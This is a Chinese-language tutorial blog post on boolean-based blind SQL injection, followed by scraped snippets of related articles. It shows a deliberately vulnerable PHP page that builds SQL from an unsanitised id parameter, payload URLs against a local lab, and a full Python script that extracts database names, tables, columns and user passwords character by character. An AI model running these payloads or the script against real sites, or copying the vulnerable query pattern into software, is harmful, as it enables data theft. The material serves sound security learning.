SQL注入原理-布尔盲注

article/2025/9/13 16:41:49

        小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注。

目录

布尔盲注使用的环境

常用函数与语句

substr()函数

ord()函数 

length()函数 

实战演示 

1、判断是否存在注入点

2、尝试用报错盲注看是否能够成功爆出数据

3、使用布尔盲注来爆出数据信息

1.爆出数据库的长度

2、爆出数据库名

3、爆出表名、字段名、数据


布尔盲注使用的环境

        通常在我们在一个可以执行SQL语句查询的页面,当我们语句查询正常时,都会正常回显但是不会回显数据,而当我们语句错误时就会报错,或者无回显。如果后端代码可以输出错误信息(如PHP中的mysqli_error()),我们可以尝试使用报错盲注;但是当后端代码不支持输出错误信息(或无回显)时,我们就可以使用布尔盲注来爆出我们想要的数据。

常用函数与语句

substr()函数

substr()函数是截取字符串的函数。

使用形式substr(string,start,length)

参数string :被截取的字符串

参数start :截取的起始位置

参数length :从截取位置截取的长度

使用下面语句体验一下substr()的功能。

select substr("administrator",2,5);

ord()函数 

ord()函数是返回一个字符的ASCII码。

使用形式:ord(character)

参数character:为单个字符,如果是字符串的话,则只按照字符串的第一个字符计算。

例如:

select ord('a');

select ord('ab');

 

length()函数 

length()函数是否返回一个字符串的长度。

使用形式为length(string)

参数string :为需要输出其长度的字符串。

例如:

select length('abcdefg');

实战演示 

源码:

<?php// 连接数据库$coon = mysqli_connect("127.0.0.1","root","root","test",3306);error_reporting(0);if (isset($_GET['id'])) {// 接受传来的参数id$id = @$_GET['id'];// 执行的SQL语句$sql = "select id,username,password,phone,e_mail from guests where id=$id limit 0,1";$res = mysqli_query($coon, $sql);$row = mysqli_fetch_array($res);if ($row) {echo "<center><br/>";echo "<h1>You have successfully executed SQL statement for querying the data with id!</h1>";echo "</center>";}else{echo "<center></br>";echo "<h1>";echo "Your SQL statement is error!!!";echo "</h1></center>";}} else {echo "<center><br/>";echo "<h1>Please input a value as id!</h1>";echo "</center>";}

1、判断是否存在注入点

我们构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and 1=2”和“http://127.0.0.1/opsql/sql10.php?id=1 and 1=1”来观察页面的回显。

http://127.0.0.1/opsql/sql10.php?id=1 and 1=2
http://127.0.0.1/opsql/sql10.php?id=1 and 1=1

        and 1=1时页面正常回显,and 1=2时页面回显error,说明我们构造的and 条件插入到了后端的SQL语句,存在注入点。

2、尝试用报错盲注看是否能够成功爆出数据

由于and 1=2时,页面也爆出了错误,我们来测试一下使用报错盲注是否行得通。

构造payload:“?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)”  

http://127.0.0.1/opsql/sql10.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

updatexml()函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 新的XML片段 ,然后返回更改的XML。

updatexml函数的使用形式为updatexml(XML_document,XPath_string,new_value)

XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们就是通过这个参数让数据库报错,继而得到我们需要的数据。
new_value,String格式,替换查找到的符合条件的数据。

其中concat()函数是把传入的值拼接成一个字符串,0x7e是~符号的ascii码的16进制,是为了方便我们找到报错的信息。database()返回当前的数据库名。  

页面没有爆出数据信息,说明后端没有使用报错函数将错误信息输出,只是当SQL语句错误时,仅仅使页面打印出提示SQL语句error的信息。

这样的话我们就得使用布尔盲注来爆出数据了。

3、使用布尔盲注来爆出数据信息

1.爆出数据库名的长度

构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and length(database())=4”

http://127.0.0.1/opsql/sql10.php?id=1 and length(database())=4

可以看到当length(database())=3时报错,而当length(database())=4时没有报错,说明database()也没就是当前的数据库名长度为4。

我们还可以构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and length((select schema_name from information_schema.schemata limit 0,1))=18” 来判断其他的数据库名的长度。

http://127.0.0.1/opsql/sql10.php?id=1 and length((select schema_name from information_schema.schemata limit 0,1))=18

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。limit num1,num2 的作用使用显示查询结果索引为num1后num2个数据。例如payload中的limit 0,1 就是取查询结果中索引为0位置后1个数据。   

通过增大num1的值来取出其他的数据库名进行判断其长度。

通过回显正常得知,查询数据库名的结果中,第一个数据库名的长度为18。

其他的测试就交给小伙伴们来测试了。

2、爆出数据库名

知道数据库名长度之后就可以爆出数据库名了。

构造payload:“http://127.0.0.1/opsql/sql10.php?id=1 and substr(database(),1,1)='t'”

之后通过更改数字,来猜测完整的数据库名

http://127.0.0.1/opsql/sql10.php?id=1 and substr(database(),1,4)='test'

这样我们就爆出了数据库名。

我们还可以通过猜测数据库名的ASCII码,然后通过解析ascii码来爆出数据库名。

payload:“http://127.0.0.1/opsql/sql10.php?id=1 and ord(substr(database(),1,1))>110”

http://127.0.0.1/opsql/sql10.php?id=1 and ord(substr(database(),1,1))>110

 

最终成功猜测数据库名的第一个字符的acsii码为116,经查询知,ascii码为116的字符为字母‘t’。

接下来就是一点一点的爆出剩下的字符了。

3、爆出表名、字段名、数据

其实当我们能够爆出数据库名的时候,表名和字段名以及数据都已经不在话下了,只是时间问题,因为的表名或者字段名以及数据都特别的长。这时候我们不能傻傻的一个字符一个字符的在那里手工的猜解,我们可以尝试写一段脚本代码,让代码来替我们猜解。

这里我是用python写的,运行可能会需要一点时间。

代码:

import requestsbaseUrl = "http://127.0.0.1/opsql/sql10.php"def get_databases():"""获取所有的数据库名:return: databases_name 所有的数据库名"""# 判断数据库的总长度databases_length = 0for num in range(1, 200):payload = f"?id=1 and length((select group_concat(schema_name) from information_schema.schemata))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:databases_length = numbreak# 爆出所有的数据库名databases_name = ""for pos in range(1, databases_length + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr((select group_concat(schema_name) from information_schema.schemata),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:databases_name += chr(num)breakprint(databases_name)def get_database():"""获取当前的数据库名:return: database_name 当前数据库名称"""# 判断当前数据长度database_length = 0for num in range(1, 20):payload = f"?id=1 and length(database())={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:database_length = numbreak# 爆出当前数据库的名字database_name = ""for pos in range(1, database_length + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr(database(),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:database_name += chr(num)breakprint(database_name)def get_tables(table_schema):"""获取指定数据库下的所有表名:param table_schema: 指定数据库名:return : tables_name 返回指定数据下所有的表名"""# 判断数据库下所有表的长度tables_length = 0for num in range(0, 200):payload = f"?id=1 and length((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:tables_length = numbreak# 爆出数据下所有的表名tables_name = ""for pos in range(1, tables_length + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:tables_name += chr(num)breakprint(tables_name)def get_columns(table_schema, table_name):"""获取指定数据库指定表下的所有字段名:param table_schema: 指定数据库名:param table_name: 指定表名:return: columns_name 指定数据库指定表下的所有字段名"""columns_length = 0for num in range(1, 200):payload = f"?id=1 and length((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:columns_length = numbreakcolumns_name = ""for pos in range(1, columns_length + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:columns_name += chr(num)breakprint(columns_name)def get_data(table_schema, table_name, *column):"""获取表中的数据:param table_schema: 只能发数据库:param table_name: 指定表名:param column: 指定字段名:return: 表中各个字段的数据"""column_length = len(column)data_length = []for index in range(column_length):for num in range(0, 10000):payload = f"?id=1 and length((select group_concat({column[index]}) from {table_schema}.{table_name}))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:data_length.append(num)breakdata = []for index in range(column_length):data_item = ""for pos in range(1, data_length[index] + 1):for num in range(0, 255):payload = f"?id=1 and ord(substr((select group_concat({column[index]}) from {table_schema}.{table_name}),{pos},1))={num}"res = requests.get(url=baseUrl + payload).textif "successfully" in res:data_item += chr(num)breakdata.append(data_item)# 打印数据print("*" * 50)for index in range(column_length):print(f"{column[index]}", end="\t")print()data_item = []for index in range(column_length):data_item.append(data[index].split(","))for index in range(column_length):for item in data_item:print(f"{item[index]}", end="\t")print()print("*" * 50)if __name__ == '__main__':get_databases()  # 获取所有的数据库名# get_database()  # 获取当前的数据库名# get_tables("test")  # 获取指定数据库下的所有表名# get_columns("test", "users")  # 获取指定数据库指定表中的所有字段# get_data("test", "users", "id", "username", "password")  # 获取数据

运行截图: 

这个过程可能需要的时间长一点,这也是手工注入鸡肋的一点就是慢。

OK这样我们就一步一步的通过代码利用布尔盲注得到了test数据库下users表中的所有数据。

对于其他的数据库,大家只需要改一改函数的参数就行了,剩下的任务就交给小伙伴们了!


http://chatgpt.dhexx.cn/article/e8Zs5tG8.shtml

相关文章

DVWA之sql注入——盲注

1.盲注 1.1 布尔盲注 布尔很明显的Ture跟Fales&#xff0c;也就说它只会根据你的注入信息返回Ture跟Fales&#xff0c;也就没有了之前的报错 信息。 1.判断是否存在注入&#xff0c;注入的类型 不管输入框输入为何内容&#xff0c;页面上只会返回以下2种情形的提示&#xff…

SQL注入2——盲注(重学)

SQL注入——盲注 SQL注入——盲注 SQL注入——盲注一、布尔型盲注1、判断2、盲注库名3、盲注表名4、盲注列名5、盲注数据 时间型盲注总结 一、布尔型盲注 假如网站一定存在SQL注入&#xff0c;当注入SQL语句&#xff08;1’ and 12#&#xff09;之后&#xff0c;网站页面缺没有…

注入利用——盲注

盲注基本概念&#xff1a; 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。 基于布尔的盲注 Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库 中的相关信息。 …

SQL注入-布尔盲注

页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length(abc) -- 判断字符串长度 substr(abc,1,1) -- 截取字符串,从第1个字符开始截取,截取1个 第一步,判断注入类型…

SQL注入原理-时间盲注

小伙伴们大家好&#xff01;本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数…

sql注入之盲注相关知识

盲注 一.概念理解&#xff1a; 盲注(Blind SQL Injection ),就是在 sql 注入过程中, sql 语句执行之后, 数据不能回显到前端页面&#xff0c;需要利用一些方法进行判断或者尝试。 二.盲注基本条件&#xff1a; 自己可以控制输入 原程序要执行的代码拼接了用户输入的数据。 …

盲注--理论知识

盲注的简单定义&#xff1a; 我们在查询过程中&#xff0c;页面只有两种情况&#xff1a;“true”和“false”&#xff0c;要么有&#xff0c;要么没有&#xff1b;查询表的记录和语句错误也不会显示。这种状况下的注入&#xff0c;称为盲注。 盲注的关键点&#xff1a; 根据…

布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」&#xff1a;此文章已录入专栏《网络安全快速入门》 布尔盲注 一、适用环境二、盲注步骤三、原理分析1. 长度判断原理2. 穷举字…

SQL盲注(原理概述、分类)

盲注原理 盲注的分类 盲注常用函数 一、SQL盲注概述 盲注&#xff1a;即在SQL注入过程中&#xff0c;SQL语句执行查询后&#xff0c;查询数据不能回显到前端页面中&#xff0c;我们需要使用一些特殊的方式来判断或尝试&#xff0c;这个过程成为盲注 1.如果数据库运行返回结…

盲注

目录 1、注入攻击的本质 2、盲注的介绍 &#xff08;一&#xff09;布尔盲注 &#xff08;二&#xff09;时间盲注 3、盲注常用方法 &#xff08;一&#xff09;length&#xff08;&#xff09;函数 &#xff08;二&#xff09;substr&#xff08;&#xff09;截取字符串…

SQL注入-盲注(布尔盲注与时间盲注)

目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注 2.使用布尔类型盲注的操作步骤&#xff1a; 3.布尔类型盲注的操作过程&#xff08;以获取当前数据库为例&#xff09; 4.使用其他…

详述ROWID的原理及其使用

ROWID基础概念 在Oracle内部&#xff0c;每个数据表都有一个伪列ROWID&#xff0c;用于存放被称为ROWID的二进制值。每个ROWID代表了一行数据的存储地址。物理ROWID能够标识普通数据表中的一行信息。其中ROWID类型只能存储物理内容&#xff0c;而UROWID(universal rowid)类型可…

Oracle中ROWNUM伪列和ROWID伪列的用法与区别

做过Oracle分页的人都知道由于Oracle中没有像MySql中limit函数以及SQLServer中的top关键字等&#xff0c;所以只能通过伪列的方式去满足分页功能&#xff0c;在此&#xff0c;不谈分页方法&#xff0c;只从根本上去介绍这两个伪列的用法与原理&#xff0c;同样还是以scott用户的…

Silverlight MMORPG WebGame游戏设计(二)--通讯协议之惑

晚上看到我在silverlight webGame上的导师"深蓝色右手"拿到 荣誉&#xff0c;觉得他名至实归。回想自己2010过年来到北京忙于一些琐屑的事情&#xff0c;好久没有动手写我的web传奇了。 去年在群里说我过年要开源我的Web传奇&#xff0c;写一些服务端的文章。后来我发…

amf webgame

一篇来自职业欠钱哥哥的东西&#xff0c;很有帮助。 这两年WebGame比较火&#xff0c;WebGame中&#xff0c;前端用Flash表现比较多&#xff0c;而服务器端依然是Web应用。 不少产品已经开始用AMF&#xff08;Action Message Format&#xff09;来取代标准的HTTP交互。&#xf…

webgame《天龙诀》完整网页游戏源码

webgame 天龙诀源码&#xff0c;网页端使用了Flash游戏引擎&#xff0c;服务端c开发&#xff0c;解压后488mb&#xff0c;仅供学习参考&#xff0c;请勿用于商业用途。 天龙诀剧情情节扣人心弦&#xff0c;让各位玩家身临其境&#xff0c;化身门派高手经历艰难险阻、感受受生死…

[转]用python来开发webgame服务端(4)

[刺鸟原创文章&#xff0c;转载请注明出处] 前面的工作都已准备就绪&#xff0c;现在我们得来看看服务端怎么和客户端之间进行通信了&#xff0c;Python和FLASH之间的通信&#xff0c;我整理为以下3种&#xff1a; 1、用现成的协议及类库处理&#xff0c;比如&#xff1a;py…

[转]用python来开发webgame服务端(2)

[刺鸟原创文章&#xff0c;转载请注明出处] 就在刚才&#xff0c;我们用基于python下的Twisted库写了一个简单的socket服务器&#xff0c;不知道它的性能和基本的承载到底如何呢&#xff1f;接下来&#xff0c;我们作一个简单的测试。 说是简单的测试&#xff0c;一点也不假…

转:: 刺鸟:用python来开发webgame服务端(1)

来源&#xff1a;http://ciniao.me/article.php?id9 --------------- 刺鸟原创文章&#xff0c;转载请注明出处 在开始之前&#xff0c;先简单描述一下项目的特点&#xff1a;我要实现的是一个mmorpg的webgame&#xff0c;地图上需要看到其他的玩家&#xff0c;战斗系统采用…

转:: 刺鸟:用python来开发webgame服务端(4)

来源&#xff1a;http://ciniao.me/article.php?id14 --------------- 刺鸟原创文章&#xff0c;转载请注明出处 前面的工作都已准备就绪&#xff0c;现在我们得来看看服务端怎么和客户端之间进行通信了&#xff0c;Python和FLASH之间的通信&#xff0c;我整理为以下3种&am…